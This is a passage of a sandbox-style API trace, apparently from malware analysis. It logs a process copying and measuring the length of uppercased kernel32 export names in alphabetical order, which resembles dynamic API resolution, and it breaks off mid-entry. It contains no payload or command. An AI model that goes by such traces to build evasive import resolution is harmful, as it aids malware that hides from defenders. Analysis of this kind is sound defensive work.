[0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0122.429] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0122.429] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0122.429] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0122.429] lstrlenA (lpString="BEEP") returned 4 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0122.429] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0122.429] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0122.429] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0122.429] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0122.429] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0122.429] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0122.429] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0122.429] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0122.429] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0122.429] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0122.429] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0122.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0122.430] lstrlenA (lpString="CANCELIO") returned 8 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0122.430] lstrlenA (lpString="CANCELIOEX") returned 10 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0122.430] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0122.430] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0122.430] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0122.430] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0122.430] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0122.430] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0122.430] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0122.430] lstrlenA (lpString="CHECKELEVATION") returned 14 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0122.430] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0122.430] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0122.430] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0122.430] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0122.430] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0122.430] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0122.430] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0122.430] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0122.431] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0122.431] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0122.431] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0122.431] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0122.431] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0122.431] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0122.431] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0122.431] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0122.431] lstrlenA (lpString="CLOSESTATE") returned 10 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0122.431] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0122.431] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0122.431] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0122.431] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0122.431] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0122.431] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0122.431] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0122.431] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0122.432] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0122.432] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0122.432] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0122.432] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0122.432] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0122.432] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0122.432] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0122.432] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0122.432] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0122.432] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0122.432] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0122.432] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0122.432] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0122.432] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0122.432] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0122.432] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0122.432] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0122.433] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0122.433] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0122.433] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0122.433] lstrlenA (lpString="COPYCONTEXT") returned 11 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0122.433] lstrlenA (lpString="COPYFILE2") returned 9 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0122.433] lstrlenA (lpString="COPYFILEA") returned 9 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0122.433] lstrlenA (lpString="COPYFILEEXA") returned 11 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0122.433] lstrlenA (lpString="COPYFILEEXW") returned 11 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0122.433] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0122.433] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0122.433] lstrlenA (lpString="COPYFILEW") returned 9 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0122.433] lstrlenA (lpString="COPYLZFILE") returned 10 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0122.433] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0122.433] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0122.433] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0122.433] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0122.433] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0122.433] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0122.434] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0122.434] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0122.434] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0122.434] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0122.434] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0122.434] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0122.434] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0122.434] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0122.434] lstrlenA (lpString="CREATEEVENTA") returned 12 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0122.434] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0122.434] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0122.434] lstrlenA (lpString="CREATEEVENTW") returned 12 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0122.434] lstrlenA (lpString="CREATEFIBER") returned 11 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0122.434] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0122.434] lstrlenA (lpString="CREATEFILE2") returned 11 [0122.434] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0122.434] lstrlenA (lpString="CREATEFILEA") returned 11 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0122.435] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0122.435] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0122.435] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0122.435] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0122.435] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0122.435] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0122.435] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0122.435] lstrlenA (lpString="CREATEFILEW") returned 11 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0122.435] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0122.435] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0122.435] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0122.435] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0122.435] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0122.435] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0122.435] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0122.435] lstrlenA (lpString="CREATEJOBSET") returned 12 [0122.435] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0122.436] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0122.436] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0122.436] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0122.436] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0122.436] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0122.436] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0122.436] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0122.436] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0122.436] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0122.436] lstrlenA (lpString="CREATEPIPE") returned 10 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0122.436] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0122.436] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0122.436] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0122.436] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0122.436] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, 